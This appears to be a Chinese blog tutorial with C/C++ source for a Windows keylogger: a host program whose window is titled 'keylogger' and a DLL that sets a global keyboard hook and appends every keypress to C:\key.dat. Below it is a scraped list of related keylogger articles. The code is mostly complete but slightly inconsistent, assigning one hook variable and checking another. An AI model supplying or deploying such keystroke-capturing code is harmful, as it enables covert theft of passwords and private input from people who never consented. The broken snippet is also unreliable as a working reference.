一 .创建一个C工程,添加一个CPP文件

名字随便起


#include <Windows.h>extern "C" __declspec(dllimport) BOOL InstallHook();extern "C" __declspec(dllimport) BOOL UninstallHook();#pragma comment(lib, "kb.lib")LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{TCHAR szAppClassName[] = TEXT("Dajun");WNDCLASS wc = { 0 };wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);wc.hCursor = LoadCursor(NULL, IDC_ARROW);wc.hInstance = hInstance;wc.lpfnWndProc = WindowProc;wc.lpszClassName = szAppClassName;wc.style = CS_HREDRAW | CS_VREDRAW;RegisterClass(&wc);HWND hWnd = CreateWindow(szAppClassName,TEXT("键盘记录器"),WS_OVERLAPPEDWINDOW,400,200,100, 100,NULL,NULL,hInstance,NULL);ShowWindow(hWnd, SW_SHOW);UpdateWindow(hWnd);MSG msg;while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return 0;
}LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{switch (uMsg){case WM_CREATE:InstallHook();break;case WM_CLOSE:DestroyWindow(hWnd);case WM_DESTROY:UninstallHook();PostQuitMessage(0);break;default:break;}return DefWindowProc(hWnd, uMsg, wParam, lParam);}

第二部 创建一个动态dll库工程,空项目

#include "kb.h"
#include <stdio.h>BOOL InstallHook()
{HHOOK hHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"kb"),0);if (g_hHook == NULL){return FALSE;}return TRUE;
}
BOOL UninstallHook()
{return  UnhookWindowsHookEx(g_hHook);
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{FILE* fp = fopen("C:\\key.dat", "a");if (fp == NULL)return CallNextHookEx(g_hHook, code, wParam, lParam);if (code < 0 || code == HC_NOREMOVE)return CallNextHookEx(g_hHook, code, wParam, lParam);if (lParam & 0x40000000)return CallNextHookEx(g_hHook, code, wParam, lParam);char szKeyName[100] = { 0 };GetKeyNameTextA(lParam,szKeyName,100);//写入文件fwrite(szKeyName,1,strlen(szKeyName),fp);//关闭fclose(fp);return CallNextHookEx(g_hHook, code, wParam, lParam);
}

windows应用程序的开发一个键盘记录器相关推荐

  1. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

  2. 手把手教你用SetWindowsHookEx做一个键盘记录器

    "无忌,我教你的还记得多少?" "回太师傅,我只记得一大半." "那,现在呢?" "已经剩下一小半了." "那 ...

  3. 你可能错过的关于 Windows 应用程序软件开发的 3 个趋势

    在最近对 65 000 名开发人员的调查中,StackOverflow 发现 Windows 仍然是最常用的应用程序开发平台.这部分是因为Windows 应用程序开发满足用户在选择平台之前必须考虑的四 ...

  4. 用 C# 做一个键盘记录器

    某天写代码时突发奇想想知道自己用那个键用的最多,于是在网上搜了一通键盘记录软件,没找到一个满意的,于是决定自己写一个出来 ps:第一次用 C# 写 Windows 程序,可能很多地方不够规范 先撸一个 ...

  5. 分数统计设计java程序_(windows综合程序)设计一个学生平时成绩统计软件 最后的Java作业...

    1.(windows综合程序)设计一个学生平时成绩统计软件.要求: (1) 录入课程名称(进入系统时录入).学生姓名.学号.成绩.日期(自动生成日期并在界面显示),除第一次外其他次数输入只需要录入学号 ...

  6. 如何在微信小程序上开发一个「蚂蚁森林」和「蚂蚁庄园」结合体?

    你在蚂蚁森林中种了几棵树? 你在蚂蚁庄园中捐赠了几颗蛋? 「蚂蚁森林」和「蚂蚁庄园」是支付宝分别在 2016 年 8 月和 2017 年 8 月上线的两个网上公益活动,通过游戏互动和激励来培养用户的低 ...

  7. 微信小程序实战--开发一个简单的快递单号查询

    功能如图: 虽然工作中只负责小程序后台开发,但是还是小程序开发产生了浓厚的兴趣,官方文档也是超级详细了 这里就简单做一个快递单号的查询: 新建一个page: 接着就可以写wxml了.这里用一个简单的i ...

  8. Pyrthon写一个键盘记录器

    目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中. 提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器.简单地读取用户按下的键,并在 ...

  9. Java程序:开发一个应用,模拟计算机对移动存储设备的读写,即移动存储设备有U盘、手机卡、移动硬盘、闪卡等设备

    开发一个应用,模拟计算机对移动存储设备的读写,即移动存储设备有U盘.手机卡.移动硬盘.闪卡等设备 public interface Mobile {void Read();void Write();} ...

最新文章

  1. 第10章 接口、继承与多态----抽象类和接口
  2. 398. Random Pick Index - LeetCode
  3. HTML 转 PDF 新姿势
  4. PMP考试的过与只是
  5. 【HDU5306】【DTOJ2481】Gorgeous Sequence【线段树】
  6. C语言十个字母用冒泡法排序,冒泡排序法(C语言) - osc_wq8j2a9a的个人空间 - OSCHINA - 中文开源技术交流社区...
  7. Twin Delayed DDPG(TD3)-强化学习算法
  8. 实用金属材料手册_机械密封选用手册
  9. 分布式文档存储独角兽MongoDB——MongoDB常见命令(2)
  10. python抓包模块
  11. ubuntu python3.7 gblic问题_glibc
  12. 阿里云高级技术专家王晨:云原生数据库PolarDB技术解密
  13. ceisum加载shp格式的城市白模建筑数据
  14. 蜂鸟E203开源RISC-V开发板:蜂鸟FPGA开发板和JTAG调试器介绍
  15. hdu 4489 The King’s Ups and Downs【递推】
  16. DataBinding的使用二
  17. PCI DSS合规性审核认证服务
  18. 2018工控网络安全发展趋势分析
  19. 周志华教授《机器学习》中PCA求解错了?
  20. ubuntu下固定IP地址

热门文章

  1. 第二个mysql怎么装_Linux下安装两个MySQL的方法
  2. python中时间处理_Python中处理时间的几种方法小结
  3. python3seek_Python3 file.seek()方法
  4. 在STM32价格疯长下,哪些国产32可以替代?
  5. 三极管和MOS管有什么不一样?用MOS管还是三极管?
  6. 他复读才考上三本,如今让华为开出201万年薪(其实还拒绝了360万offer)
  7. 入门C语言20问20答
  8. dict取值_Python基础数据类型「list、tuple、dict」
  9. 苹果新手机软件测试,苹果即将发布iOS 14.5正式版,测试工作已进入最后阶段
  10. 清分日期是当天还是第二天_年底了,您的驾驶证是该清分了吗?